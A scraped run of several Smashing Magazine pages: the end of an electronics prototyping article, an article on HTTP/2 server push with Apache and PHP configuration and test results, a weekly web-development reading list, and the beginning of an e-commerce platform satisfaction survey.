Stay tuned!

Resources Link

Basics of Electronics Link

• Collin’s Lab⁴² (John Cunningham’s YouTube tutorials)
• Make⁴³ (online magazine)
• Make: Electronics⁴⁴, Charles Platt, O’Reilly and Make: Books

Other Hardware Platforms Link

• Photon⁴⁵
• Raspberry Pi⁴⁶

Parts and Tools Link

• Adafruit⁴⁷
• SparkFun⁴⁸
• AliExpress⁴⁹
• GearBest⁵⁰

(da, vf, al, il)

Footnotes Link

1. 1 https://www.smashingmagazine.com/2016/09/choosing-the-right-prototyping-tool/
2. 2 https://www.smashingmagazine.com/2017/03/prototype-code-custom-pull-to-refresh-gesture-animation/
3. 3 https://www.smashingmagazine.com/2015/01/prototyping-ios-android-apps-sketch-freebie/
4. 4 https://www.smashingmagazine.com/2013/01/ios-prototyping-with-tap-and-adobe-fireworks-part-1/
5. 5 http://www.esp8266.com/
6. 6 https://www.smartthings.com
7. 7 https://www.smartthings.com/works-with-smartthings
8. 8 https://www.particle.io/
9. 9 http://www.blynk.io/
10. 10 https://www.arduino.cc/en/Main/ArduinoBoardYun
11. 11 https://www.raspberrypi.org/products/raspberry-pi-3-model-b/
12. 12 https://www.raspberrypi.org/products/pi-zero/
13. 13 http://www.microcenter.com/product/457746/Zero_Development_Board
14. 14 http://makezine.com/comparison/boards/
15. 15 https://learn.adafruit.com/adafruit-huzzah-esp8266-breakout/overview
16. 16 https://www.amazon.com/HiLetgo-Version-NodeMCU-Internet-Development/dp/B010O1G1ES
17. 17 https://www.smashingmagazine.com/wp-content/uploads/2017/02/sm004-01-large-opt.jpg
18. 18 https://www.adafruit.com/product/70
19. 19 https://www.amazon.com/Duck-Removable-Mounting-Poster-1436912/dp/B000BQMFEC/
20. 20 https://www.amazon.com/Tabiger-Soldering-110V-Adjustable-Temperature-Welding/dp/B01H1IFT54/
21. 21 https://www.adafruit.com/product/2471
22. 22 https://www.amazon.com/Aketek-Solderless-BreadBoard-tie-points-power/dp/B01258UZMC/
23. 23 https://www.amazon.com/Phantom-YoYo-Adapter-Power-2-1mm/dp/B009SNK4AQ/
24. 24 https://www.amazon.com/kwmobile-MB102-Power-Supply-Module/dp/B01JOBT87G/
25. 25 http://www.gearbest.com/other-accessories/pp_354742.html
26. 26 https://www.amazon.com/Honbay®-120pcs-Multicolored-Female-Breadboard/dp/B017NEGTXC/
27. 27 https://www.amazon.com/Cutequeen-Ceramic-Industrial-Ferrite-Magnets/dp/B01HF3BJPY/
28. 28 https://www.amazon.com/ADVANTUS-Stacker-Crayon-Inches-40311/dp/B00B4NPO08/
29. 29 https://www.smashingmagazine.com/wp-content/uploads/2017/02/sm004-03-large-opt.jpg
30. 30 https://learn.adafruit.com/adafruit-huzzah-esp8266-breakout/assembly
31. 31 https://www.smashingmagazine.com/wp-content/uploads/2017/02/sm004-04-large-opt.jpg
32. 32 https://www.smashingmagazine.com/wp-content/uploads/2017/02/sm004-03-large-opt.jpg
33. 33 https://www.smashingmagazine.com/wp-content/uploads/2017/02/sm004-05-large-opt.jpg
34. 34 http://www.explainthatstuff.com/howreedswitcheswork.html
35. 35 https://www.smashingmagazine.com/wp-content/uploads/2017/02/sm004-06-large-opt.jpg
36. 36 https://www.smashingmagazine.com/wp-content/uploads/2017/02/sm004-07-large-opt.jpg
37. 37 https://www.smashingmagazine.com/wp-content/uploads/2017/02/sm004-08-large-opt.jpg
38. 38 https://www.amazon.com/CCbetter-Temperature-Melting-Flexible-Projects/dp/B01178RVI2/
39. 39 https://www.smashingmagazine.com/wp-content/uploads/2017/02/sm004-09-large-opt.jpg
40. 40 https://www.smashingmagazine.com/wp-content/uploads/2017/02/sm004-10-large-opt.jpg
41. 41 https://www.smashingmagazine.com/wp-content/uploads/2017/02/sm004-11-large-opt.jpg
42. 42 https://www.youtube.com/playlist?list=PLjF7R1fz_OOU08_hRcayfVZSmTpBCGJbL
43. 43 http://makezine.com/
44. 44 http://makezine.com/2009/12/10/electronics-just-got-a-lot-easier/
45. 45 https://www.particle.io/products/hardware/photon-wifi-dev-kit
46. 46 https://www.raspberrypi.org/
47. 47 https://www.adafruit.com/
48. 48 https://www.sparkfun.com/
49. 49 https://www.aliexpress.com/
50. 50 http://www.gearbest.com

↑ Back to topTweet itShare on Facebook

The landscape for the performance-minded developer has changed significantly in the last year or so, with the emergence of HTTP/2 being perhaps the most significant of all. No longer is HTTP/2 a feature we pine for. It has arrived, and with it comes server push!

Aside from solving common HTTP/1 performance problems (e.g., head of line blocking and uncompressed headers), HTTP/2 also gives us server push! Server push allows you to send site assets to the user before they’ve even asked for them. It’s an elegant way to achieve the performance benefits of HTTP/1 optimization practices such as inlining, but without the drawbacks that come with that practice.

In this article, you’ll learn all about server push, from how it works to the problems it solves. You’ll also learn how to use it, how to tell if it’s working, and its impact on performance. Let’s begin!

What Is Server Push, Exactly? Link

Accessing websites has always followed a request and response pattern. The user sends a request to a remote server, and with some delay, the server responds with the requested content.

The initial request to a web server is commonly for an HTML document. In this scenario, the server replies with the requested HTML resource. The HTML is then parsed by the browser, where references to other assets are discovered, such as style sheets, scripts and images. Upon their discovery, the browser makes separate requests for those assets, which are then responded to in kind.

¹

The problem with this mechanism is that it forces the user to wait for the browser to discover and retrieve critical assets until after an HTML document has been downloaded. This delays rendering and increases load times.

With server push, we have a solution to this problem. Server push lets the server preemptively “push” website assets to the client without the user having explicitly asked for them. When used with care, we can send what we know the user is going to need for the page they’re requesting.

Let’s say you have a website where all pages rely on styles defined in an external style sheet named styles.css. When the user requests index.html from the server, we can push styles.css to the user just after we begin sending the response for index.html.

³

Rather than waiting for the server to send index.html and then waiting for the browser to request and receive styles.css, the user only has to wait for the server to respond with bothindex.html and styles.css on the initial request. This means that the browser can begin rendering the page faster than if it had to wait.

As you can imagine, this can decrease the rendering time of a page. It also solves some other problems, particularly in front-end development workflows.

What Problems Does Server Push Solve? Link

While reducing round trips to the server for critical content is one of the problems that server push solves, it’s not the only one. Server push acts as a suitable alternative for a number of HTTP/1-specific optimization anti-patterns, such as inlining CSS and JavaScript directly into HTML, as well as using the data URI scheme⁵ to embed binary data into CSS and HTML.

These techniques found purchase in HTTP/1 optimization workflows because they decrease what we call the “perceived rendering time” of a page, meaning that while the overall loading time of a page might not be reduced, the page will appear to load faster for the user. It makes sense, after all. If you inline CSS into an HTML document within <style> tags, the browser can begin applying styles immediately to the HTML without waiting to fetch them from an external source. This concept holds true with inlining scripts and inlining binary data with the data URI scheme.

Seems like a good way to tackle the problem, right? Sure — for HTTP/1 workflows, where you have no other choice. The poison pill we swallow when we do this, however, is that the inlined content can’t be efficiently cached. When an asset like a style sheet or JavaScript file remains external and modular, it can be cached much more efficiently. When the user navigates to a subsequent page that requires that asset, it can be pulled from the cache, eliminating the need for additional requests to the server.

⁷

When we inline content, however, that content doesn’t have its own caching context. Its caching context is the same as the resource it’s inlined into. Take an HTML document with inlined CSS, for instance. If the caching policy of the HTML document is to always grab a fresh copy of the markup from the server, then the inlined CSS will never be cached on its own. Sure, the document that it’s a part of may be cached, but subsequent pages containing this duplicated CSS will be downloaded repeatedly. Even if the caching policy is more lax, HTML documents typically have limited shelf life. This is a trade-off that we’re willing to make in HTTP/1 optimization workflows, though. It does work, and it’s quite effective for first-time visitors. First impressions are often the most important.

These are the problems that server push addresses. When you push assets, you get the practical benefits that come with inlining, but you also get to keep your assets in external files that retain their own caching policy. There is a caveat to this point, though, and it’s covered toward the end of this article. For now, let’s continue.

I’ve talked enough about why you should consider using server push, as well as the problems that it fixes for both the user and the developer. Now let’s talk about how it’s used.

How To Use Server Push Link

Using server push usually involves using the Link HTTP header, which takes on this format:

Link: </css/styles.css>; rel=preload; as=style 

Note that I said usually. What you see above is actually the preload resource hint⁹ in action. This is a separate and distinct optimization from server push, but most (not all) HTTP/2 implementations will push an asset specified in a Link header containing a preload resource hint. If either the server or the client opts out of accepting the pushed resource, the client can still initiate an early fetch for the resource indicated.

The as=style portion of the header is not optional. It informs the browser of the pushed asset’s content type. In this case, we use a value of style to indicate that the pushed asset is a style sheet. You can specify other content types¹⁰. It’s important to note that omitting the as value can result in the browser downloading the pushed resource twice. So don’t forget it!

Now that you know how a push event is triggered, how do we set the Link header? You can do so through two routes:

• your web server configuration (for example, Apache httpd.conf or .htaccess);
• a back-end language function (for example, PHP’s header function).

Setting the Link Header in Your Server Configuration Link

Here’s an example of configuring Apache (via httpd.conf or .htaccess) to push a style sheet whenever an HTML file is requested:

<FilesMatch ".html$"> Header set Link "</css/styles.css>; rel=preload; as=style" <FilesMatch> 

Here, we use the FilesMatch directive to match requests for files ending in .html. When a request comes along that matches this criteria, we add a Link header to the response that tells the server to push the resource at /css/styles.css.

Side note: Apache’s HTTP/2 module can also initiate a push of resources using the H2PushResource directive. The documentation for this directive states that this method can initiate pushes earlier than if the Link header method is used. Depending on your specific setup, you may not have access to this feature. The performance tests shown later in this article use the Link header method.

As of now, Nginx doesn’t support HTTP/2 server push, and nothing so far in the software’s changelog¹¹ has indicated that support for it has been added. This may change as Nginx’s HTTP/2 implementation matures.

Setting the Link Header in Back-End Code Link

Another way to set a Link header is through a server-side language. This is useful when you aren’t able to change or override the web server’s configuration. Here’s an example of how to use PHP’s header function to set the Link header:

header("Link: </css/styles.css>; rel=preload; as=style");

If your application resides in a shared hosting environment where modifying the server’s configuration isn’t an option, then this method might be all you’ve got to go on. You should be able to set this header in any server-side language. Just be sure to do so before you begin sending the response body, to avoid potential runtime errors.

Pushing Multiple Assets Link

All of our examples so far only illustrate how to push one asset. What if you want to push more than one? Doing that would make sense, right? After all, the web is made up of more than just style sheets. Here’s how to push multiple assets:

Link: </css/styles.css>; rel=preload; as=style, </js/scripts.js>; rel=preload; as=script, </img/logo.png>; rel=preload; as=image 

When you want to push multiple resources, just separate each push directive with a comma. Because resource hints are added via the Link tag, this syntax is how you can mix in other resource hints with your push directives. Here’s an example of mixing a push directive with a preconnect resource hint:

Link: </css/styles.css>; rel=preload; as=style, <https://fonts.gstatic.com>; rel=preconnect 

Multiple Link headers are also valid. Here’s how you can configure Apache to set multiple Link headers for requests to HTML documents:

<FilesMatch ".html$"> Header add Link "</css/styles.css>; rel=preload; as=style" Header add Link "</js/scripts.js>; rel=preload; as=script" <FilesMatch> 

This syntax is more convenient than stringing together a bunch of comma-separated values, and it works just the same. The only downside is that it’s not quite as compact, but the convenience is worth the few extra bytes sent over the wire.

Now that you know how to push assets, let’s see how to tell whether it’s working.

How To Tell Whether Server Push Is Working Link

So, you’ve added the Link header to tell the server to push some stuff. The question that remains is, how do you know if it’s even working?

This varies by browser. Recent versions of Chrome will reveal a pushed asset in the initiator column of the network utility in the developer tools.

¹²

Furthermore, if we hover over the asset in the network request waterfall, we’ll get detailed timing information on the asset’s push:

¹⁴

Firefox is less obvious in identifying pushed assets. If an asset has been pushed, its status in the browser’s network utility in the developer tools will show up with a gray dot.

¹⁶

If you’re looking for a definitive way to tell whether an asset has been pushed by the server, you can use the nghttp command-line client¹⁸ to examine a response from an HTTP/2 server, like so:

nghttp -ans https://jeremywagner.me

This command will show a summary of the assets involved in the transaction. Pushed assets will have an asterisk next to them in the program output, like so:

id responseEnd requestStart process code size request path 13 +50.28ms +1.07ms 49.21ms 200 3K / 2 +50.47ms * +42.10ms 8.37ms 200 2K /css/global.css 4 +50.56ms * +42.15ms 8.41ms 200 157 /css/fonts-loaded.css 6 +50.59ms * +42.16ms 8.43ms 200 279 /js/ga.js 8 +50.62ms * +42.17ms 8.44ms 200 243 /js/load-fonts.js 10 +74.29ms * +42.18ms 32.11ms 200 5K /img/global/jeremy.png 17 +87.17ms +50.65ms 36.51ms 200 668 /js/lazyload.js 15 +87.21ms +50.65ms 36.56ms 200 2K /img/global/book-1x.png 19 +87.23ms +50.65ms 36.58ms 200 138 /js/debounce.js 21 +87.25ms +50.65ms 36.60ms 200 240 /js/nav.js 23 +87.27ms +50.65ms 36.62ms 200 302 /js/attach-nav.js 

Here, I’ve used nghttp on my own website¹⁹, which (at least at the time of writing) pushes five assets. The pushed assets are marked with an asterisk on the left side of the requestStart column.

Now that we can identify when assets are pushed, let’s see how server push actually affects the performance of a real website.

Measuring Server Push Performance Link

Measuring the effect of any performance enhancement requires a good testing tool. Sitespeed.io²⁰ is an excellent tool available via npm²¹; it automates page testing and gathers valuable performance metrics. With the appropriate tool chosen, let’s quickly go over the testing methodology.

Testing Methodology Link

I wanted measure the impact of server push on website performance in a meaningful way. In order for the results to be meaningful, I needed to establish points of comparison across six separate scenarios. These scenarios are split across two facets: whether HTTP/2 or HTTP/1 is used. On HTTP/2 servers, we want to measure the effect of server push on a number of metrics. On HTTP/1 servers, we want to see how asset inlining affects performance in the same metrics, because inlining is supposed to be roughly analogous to the benefits that server push provides. Specifically, these scenarios are the following:

• HTTP/2 without server push
  
  In this state, the website runs on the HTTP/2 protocol, but nothing whatsoever is pushed. The website runs “stock,” so to speak.
• HTTP/2 pushing only CSS
  
  Server push is used, but only for the website’s CSS. The CSS for the website is quite small, weighing in at a little over 2 KB with Brotli compression²² applied.
• Pushing the kitchen sink
  
  All assets in use on all pages across the website are pushed. This includes the CSS, as well as 1.4 KB of JavaScript spread across six assets, and 5.9 KB of SVG images spread across five assets. All quoted file sizes are, again, after Brotli compression has been applied.
• HTTP/1 with no assets inlined
  
  The website runs on HTTP/1, and no assets are inlined to reduce the number of requests or increase rendering speed.
• Inlining only CSS
  
  Only the website’s CSS is inlined.
• Inlining the kitchen sink
  
  All assets in use on all pages across the website are inlined. CSS and scripts are inlined, but SVG images are base64-encoded and embedded directly into the markup. It should be noted that base64-encoded data is roughly 1.37 times larger²³ than its unencoded equivalent.

In each scenario, I initiated testing with the following command:

sitespeed.io -d 1 -m 1 -n 25 -c cable -b chrome -v https://jeremywagner.me

If you want to know the ins and outs of what this command does, you can check out the documentation²⁴. The short of it is that this command tests my website’s home page at https://jeremywagner.me²⁵ with the following conditions:

• The links in the page are not crawled. Only the specified page is tested.
• The page is tested 25 times.
• A “cable-like” network throttling profile is used. This translates to a round trip time of 28 milliseconds, a downstream speed of 5,000 kilobits per second and an upstream speed of 1,000 kilobits per second.
• The test is run using Google Chrome.

Three metrics were collected and graphed from each test:

• first paint time
  
  This is the point in time at which the page can first be seen in the browser. When we strive to make a page “feel” as though it is loading quickly, this is the metric we want to reduce as much as possible.
• DOMContentLoaded time
  
  This is the time at which the HTML document has completely loaded and has been parsed. Synchronous JavaScript code will block the parser and cause this figure to increase. Using the async attribute on <script> tags can help to prevent parser blocking.
• page-loading time
  
  This is the time it takes for the page and its assets to fully load.

With the parameters of the test determined, let’s see the results!

Test Outcomes Link

Tests were run across the six scenarios specified earlier, with the results graphed. Let’s start by looking at how first paint time is affected in each scenario:

²⁶

Let’s first talk a bit about how the graph is set up. The portion of the graph in blue represents the average first paint time. The orange portion is the 90th percentile. The grey portion represents the maximum first paint time.

Now let’s talk about what we see. The slowest scenarios are both the HTTP/2- and HTTP/1-driven websites with no enhancements at all. We do see that using server push for CSS helps to render the page about 8% faster on average than if server push is not used at all, and even about 5% faster than inlining CSS on an HTTP/1 server.

When we push all assets that we possibly can, however, the picture changes somewhat. First paint times increase slightly. In HTTP/1 workflows where we inline everything we possibly can, we achieve performance similar to when we push assets, albeit slightly less so.

The verdict here is clear: With server push, we can achieve results that are slightly better than what we can achieve on HTTP/1 with inlining. When we push or inline many assets, however, we observe diminishing returns.

It’s worth noting that either using server push or inlining is better than no enhancement at all for first-time visitors. It’s also worth noting that these tests and experiments are being run on a website with small assets, so this test case may not reflect what’s achievable for your website.

Let’s examine the performance impacts of each scenario on DOMContentLoaded time:

²⁸

The trends here aren’t much different than what we saw in the previous graph, except for one notable departure: The instance in which we inline as many assets as practical on a HTTP/1 connection yields a very low DOMContentLoaded time. This is presumably because inlining reduces the number of assets needed to be downloaded, which allows the parser to go about its business without interruption.

Now, let’s look at how page-loading times are affected in each scenario:

³⁰

The established trends from earlier measurements generally persist here as well. I found that pushing only the CSS realized the greatest benefit to loading time. Pushing too many assets could, on some occasions, make the web server a bit sluggish, but it was still better than not pushing anything at all. Compared to inlining, server push yielded better overall loading times than inlining did.

Before we conclude this article, let’s talk about a few caveats you should be aware of when it comes to server push.

Caveats On Using Server Push Link

Server push isn’t a panacea for your website’s performance maladies. It has a few drawbacks that you need to be cognizant of.

You Can Push Too Much Stuff Link

In one of the scenarios above, I am pushing a lot of assets, but all of them altogether represent a small portion of the overall data. Pushing a lot of very large assets at once could actually delay your page from painting or being interactive sooner, because the browser needs to download not only the HTML, but all of the other assets that are being pushed alongside of it. Your best bet is to be selective in what you push. Style sheets are a good place to start (so long as they aren’t massive). Then evaluate what else makes sense to push.

You Can Push Something That’s Not on the Page Link

This is not necessarily a bad thing if you have visitor analytics to back up this strategy. A good example of this may be a multi-page registration form, where you push assets for the next page in the sign-up process. Let’s be crystal clear, though: If you don’t know whether you should force the user to preemptively load assets for a page they haven’t seen yet, then don’t do it. Some users might be on restricted data plans, and you could be costing them real money.

Configure Your HTTP/2 Server Properly Link

Some servers give you a lot of server push-related configuration options. Apache’s mod_http2 has some options for configuring how assets are pushed. The H2PushPriority setting³² should be of particular interest, although in the case of my server, I left it at the default setting. Some experimentation could yield additional performance benefits. Every web server has a whole different set of switches and dials for you to experiment with, so read the manual for yours and find out what’s available!

Pushes May Not Be Cached Link

There has been some gnashing of teeth over whether server push could hurt performance in that returning visitors may have assets needlessly pushed to them again. Some servers do their best to mitigate this. Apache’s mod_http2 uses the H2PushDiarySize setting³³ to optimize this somewhat. H2O Server has a feature called Cache Aware server push³⁴ that uses a cookie mechanism to remember pushed assets.

If you don’t use H2O Server, you can achieve the same thing on your web server or in server-side code by only pushing assets in the absence of a cookie. If you’re interested in learning how to do this, then check out a post I wrote about it on CSS-Tricks³⁵. It’s also worth mentioning that browsers can send an RST_STREAM frame to signal to a server that a pushed asset is not needed. As time goes on, this scenario will be handled much more gracefully.

As sad it may seem, we’re nearing the end of our time together. Let’s wrap things up and talk a bit about what we’ve learned.

Final Thoughts Link

If you’ve already migrated your website to HTTP/2, you have little reason not to use server push. If you have a highly complex website with many assets, start small. A good rule of thumb is to consider pushing anything that you were once comfortable inlining. A good starting point is to push your site’s CSS. If you’re feeling more adventurous after that, then consider pushing other stuff. Always test changes to see how they affect performance. You’ll likely realize some benefit from this feature if you tinker with it enough.

If you’re not using a cache-aware server push mechanism like H2O Server’s, consider tracking your users with a cookie and only pushing assets to them in the absence of that cookie. This will minimize unnecessary pushes to known users, while improving performance for unknown users. This not only is good for performance, but also shows respect to your users with restricted data plans.

All that’s left for you now is to try out server push for yourself. So get out there and see what this feature can do for you and your users! If you want to know more about server push, check out the following resources:

• “Server Push³⁶,” “Hypertext Transfer Protocol Version 2 (HTTP/2),” Internet Engineering Task Force
• “Modernizing Our Progressive Enhancement Delivery³⁷,” Scott Jehl, Filament Group
• “Innovating with HTTP 2.0 Server Push³⁸,” Ilya Grigorik

Thanks to Yoav Weiss³⁹ for clarifying that the as attribute is required (and not optional as the original article stated), as well as a couple of other minor technical issues. Additional thanks goes to Jake Archibald⁴⁰ for pointing out that the preload resource hint is an optimization distinct from server push.

This article is about an HTTP/2 feature named server push. This and many other topics are covered in Jeremy’s book Web Performance in Action⁴¹. You can get it or any other Manning Publications⁴² book for 42% off with the coupon code sswagner!

(rb, vf, al, il)

Footnotes Link

1. 1 http://provide.smashingmagazine.com/normal-server-response.svg
2. 2 http://provide.smashingmagazine.com/normal-server-response.svg
3. 3 http://provide.smashingmagazine.com/server-push-response.svg
4. 4 http://provide.smashingmagazine.com/server-push-response.svg
5. 5 https://en.wikipedia.org/wiki/Data_URI_scheme
6. 6 http://provide.smashingmagazine.com/inlined-content-unopt.svg
7. 7 http://provide.smashingmagazine.com/caching-unopt.svg
8. 8 http://provide.smashingmagazine.com/caching-unopt.svg
9. 9 https://w3c.github.io/preload
10. 10 https://w3c.github.io/preload/#link-element-interface-extensions
11. 11 https://nginx.org/en/CHANGES
12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/02/chrome-push-indicator-large-opt.png
13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/02/chrome-push-indicator-large-opt.png
14. 14 https://www.smashingmagazine.com/wp-content/uploads/2017/02/push-timing-large-opt.png
15. 15 https://www.smashingmagazine.com/wp-content/uploads/2017/02/push-timing-large-opt.png
16. 16 https://www.smashingmagazine.com/wp-content/uploads/2017/02/firefox-push-indicator-large-opt.png
17. 17 https://www.smashingmagazine.com/wp-content/uploads/2017/02/firefox-push-indicator-800w-opt.png
18. 18 https://nghttp2.org
19. 19 https://jeremywagner.me
20. 20 https://www.sitespeed.io
21. 21 https://www.npmjs.com
22. 22 https://www.smashingmagazine.com/2016/10/next-generation-server-compression-with-brotli
23. 23 https://en.wikipedia.org/wiki/Base64#MIME
24. 24 https://www.sitespeed.io/documentation/sitespeed.io/configuration
25. 25 https://jeremywagner.me
26. 26 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-first-paint-800w-opt.png
27. 27 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-first-paint-800w-opt.png
28. 28 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-domcontentloaded-large-opt.png
29. 29 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-domcontentloaded-large-opt.png
30. 30 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-page-load-large-opt.png
31. 31 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-page-load-800w-opt.png
32. 32 https://httpd.apache.org/docs/2.4/mod/mod_http2.html#h2pushpriority
33. 33 https://httpd.apache.org/docs/2.4/mod/mod_http2.html#h2pushdiarysize
34. 34 https://h2o.examp1e.net/configure/http2_directives.html
35. 35 https://css-tricks.com/cache-aware-server-push
36. 36 https://tools.ietf.org/html/rfc7540#section-8.2
37. 37 https://www.filamentgroup.com/lab/modernizing-delivery.html
38. 38 https://www.igvita.com/2013/06/12/innovating-with-http-2.0-server-push/
39. 39 https://blog.yoav.ws.
40. 40 https://jakearchibald.com
41. 41 https://manning.com/books/web-performance-in-action?a_aid=webopt&a_bid=63c31090
42. 42 https://manning.com

↑ Back to topTweet itShare on Facebook

From time to time, we need to take some time off, and actually, I’m glad that this reading list is a bit shorter as the ones you’re used to. Because one thing that really stuck with me this week was Eric Karjaluoto’s article.

In his article, he states that, “Taking pride in how busy we are is one of the worst ideas we ever had.” So, how about reading just a few articles this week for a change and then take a complete weekend off to recharge your battery?

Further Reading on SmashingMag: Link

• Taking Pattern Libraries To The Next Level¹
• Designing Modular UI Systems Via Style Guide-Driven Development²
• How To Maximize Your Creative Energy³
• ECMAScript 6 (ES6): What’s New In The Next Version Of JavaScript⁴

News Link

• The next major release of Angular, Angular 4.0⁵, is now available. It’s smaller and faster than it’s predecessor and ships flat ES modules.

Concept & Design Link

• Nathan Curtis shares an approach to get your design team started with building components⁶.

⁷

Security Link

• There’s a new security header called Expect-CT. Scott Helme explains when and how you should use it¹⁰.
• I bet many people here have a Samsung TV. And while there are currently not many phones out there from this vendor that run on Tizen, a lot of TVs do. Now, security researchers have found some quite interesting things¹¹ about Tizen’s security¹², including vulnerabilities that can give full access to the device and ways to embed malicious code into the system through the app store.

¹³

Privacy Link

• In the past, we tended to teach people to use a VPN if they wanted to stay secure. But now we know that by far not all VPN services have good intentions¹⁶. Some even inject advertising and privacy-leaking data into your network requests or sell your history to third parties.

JavaScript Link

• Nicolás Bevacqua wrote about regular expressions in a post-ES6 world¹⁷, including the new Unicode flag, the matchAll function, and assertions.

Work & Life Link

• Eric Karjaluoto shares why we need to slow down¹⁸, and why taking pride in how busy we are is one of the worst ideas we ever had. What if the best thing you can do for your career — and life — is to press pause, set your number one priority, and then rethink your way of working?

And with that, I’ll close for this week. If you like what I write each week, please support me with a donation¹⁹ or share this resource with other people. You can learn more about the costs of the project here²⁰. It’s available via email, RSS and online.

— Anselm

Footnotes Link

1. 1 https://www.smashingmagazine.com/taking-pattern-libraries-next-level/
2. 2 https://www.smashingmagazine.com/2016/06/designing-modular-ui-systems-via-style-guide-driven-development/
3. 3 https://www.smashingmagazine.com/2014/10/maximize-your-creative-energy/
4. 4 https://www.smashingmagazine.com/2015/10/es6-whats-new-next-version-javascript/
5. 5 https://angularjs.blogspot.de/2017/03/angular-400-now-available.html?m=1
6. 6 https://medium.com/eightshapes-llc/the-component-cut-up-workshop-1378ae110517?scid=social71322026
7. 7 https://medium.com/eightshapes-llc/the-component-cut-up-workshop-1378ae110517?scid=social71322026
8. 8 https://medium.com/eightshapes-llc/the-component-cut-up-workshop-1378ae110517?scid=social71322026
9. 9 https://medium.com/eightshapes-llc/the-component-cut-up-workshop-1378ae110517?scid=social71322026
10. 10 https://scotthelme.co.uk/a-new-security-header-expect-ct/
11. 11 https://arstechnica.com/security/2017/03/smart-tv-hack-embeds-attack-code-into-broadcast-signal-no-access-required/
12. 12 https://motherboard.vice.com/en_us/article/samsung-tizen-operating-system-bugs-vulnerabilities
13. 13 https://motherboard.vice.com/en_us/article/samsung-tizen-operating-system-bugs-vulnerabilities
14. 14 https://motherboard.vice.com/en_us/article/samsung-tizen-operating-system-bugs-vulnerabilities
15. 15 https://www.flickr.com/photos/janitors/16536562988/in/photolist-rchd3Y-o13k8E-qx56W6-rchVLj-bWV3Kj-hxbrX1-hxaGb4-hxaGqT-bXDr5A-bXDqZ7-6uLqGA-hxaZdm-bXDrvG-hxcvsV-hxcwG8-hxcrEe-bXDrxm-bXDtQJ-bXDtWJ-hxLCix-bXDrz1-bXDr9f-kwodgw-bXDrSN-bXDqW9-dHaR6a-bXDr7W-fH91o3-bXDrcb-bXDsD9-bXDqGN-bXDsxJ-CYBJQS-arcj4y-bXDqUo-bXDrE7-bXDrXL-dmDVf1-bXDrsf-Hyxu6C-bXDrJL-oAK3iw-hxHeKp-oExtQE-hxHZbG-pnCwed-s7oTbE-hxJQr6-hxJZyc-hxLCqg
16. 16 https://motherboard.vice.com/en_us/article/phony-vpn-services-are-cashing-in-on-americas-war-on-privacy
17. 17 https://ponyfoo.com/articles/regular-expressions-post-es6
18. 18 http://blog.officehours.io/slow-the-fuck-down/
19. 19 https://wdrl.info/donate
20. 20 https://wdrl.info/costs/

↑ Back to topTweet itShare on Facebook

Did you know that bandwidth overage charges are (still) a problem and most users prefer not to rely on a developer? Well, I talked to 917 (real-life) users and created a guide to help others find the e-commerce software that suits them best.

I completed this guide by searching for websites built with e-commerce software (you can verify by looking at the source code — certain code strings are unique to the software). Once I found a website, I (or one of my virtual assistants) would email the owner and ask if they’d recommend a particular software. Typically, they’d reply and I’d record their response in a spreadsheet (and personally thank them). Occasionally, I would even go on the phone to speak with them directly (although I quickly found out that this took too much time).

Here’s what I discovered.

Further Reading on SmashingMag: Link

• Reducing Abandoned Shopping Carts In E-Commerce¹
• Guidelines For Better Navigation And Categories²
• How To Design A Better Mobile Checkout Process³
• Taking Credit Card Payments Online: What’s Involved?⁴

Customer Satisfaction Link

I calculated customer satisfaction by finding the percentage of active users who recommend the software:

E-commerce software	Recommendation %
Shopify	98%
Squarespace	94%
Big Cartel	91%
WooCommerce	90%
OpenCart	88%
Jumpseller	86%
GoDaddy	83%
CoreCommerce	80%
BigCommerce	79%
Ubercart	78%
Wix	76%
Magento	74%
Weebly	74%
3dcart	72%
PrestaShop	70%
Goodsie	65%
Spark Pay	65%
Volusion	51%

Shopify is the pretty clear winner, with Squarespace close behind — but both companies are actually complementary. Shopify is a complete, robust solution that works for both small and large stores, while Squarespace is a simple, approachable platform that works well for stores just starting out. (Worth noting: I’ve done similar surveys for portfolio builders⁵ and landing-page builders⁶, and Shopify is the only company I’ve seen score higher than 95% in customer satisfaction.)

But looking only at customer satisfaction is not enough. After all, e-commerce platforms have different strengths. So, I also asked users what they like and dislike about their software and found some important insights about each company.

Shopify (98%) Link

What Users Like Link

App store and features

“The best thing is that you don’t need a developer to add features… there’s a ton of apps available.” | “Their partner ecosystem is best.” | “Shopify has any feature under the sun — if you think you need it, someone already created an app.” | “Access to Shopify Apps is great.” | “There’s heaps of third-party apps you can integrate easily that I believe are essential to growing a business.” | “So many third-party apps, templates that other platforms aren’t popular enough to have.” | “There are many apps that can help with customization issues.” | “There are a ton of great third-party apps for extended functionality.”

Ease of use

“Easy to set up without having specific skills.” | “Intuitive user interface.” | “Simple to use.” | “It is very easy to start selling online.” | “Easy UI, pretty intuitive.” | “The interface is excellent for managing e-commerce.” | “It’s really clean and easy to manage.” | “Shopify provides a very straightforward way to add products, edit options and to apply different themes.” | “More than anything, very simple.” | “It’s simple and intuitive.” | “Very user-friendly.” | “Super user-friendly for non-computer guys like myself.” | “The back end is exceptional.”

⁷

Squarespace (94%) Link

What Users Like Link

Ease of use

“It’s very easy to use.” | “The e-commerce is so easy to use.” | “It’s easy to configure, simple to add, delete and modify our inventory, and most importantly it allows us to easily keep track of our ins and outs with helpful metrics and sales graphs.” | “It’s very easy to set up.” | “The user interface is easy to use.” | “Commerce is really nice and easy to set up.” | “Love the interface, very easy to work with.” | “I find it easy to use.” | “It was pretty easy to set up and has been a snap to maintain.” | “It’s all pretty smooth and easy.” | “It’s super-easy.” | “I’ve tried Drupal, WordPress… the interface and creative ability of Squarespace is much superior.”

Templates

“Has some great templates for a good-looking website.” | “Squarespace is an easy way to get a great looking site.” | “The sites are beautiful.” | “The templates and editing features on the blog and site are super-easy.” | “The thing I like most are the beautiful and easy templates.”

What Users Don’t Like Link

Limitations

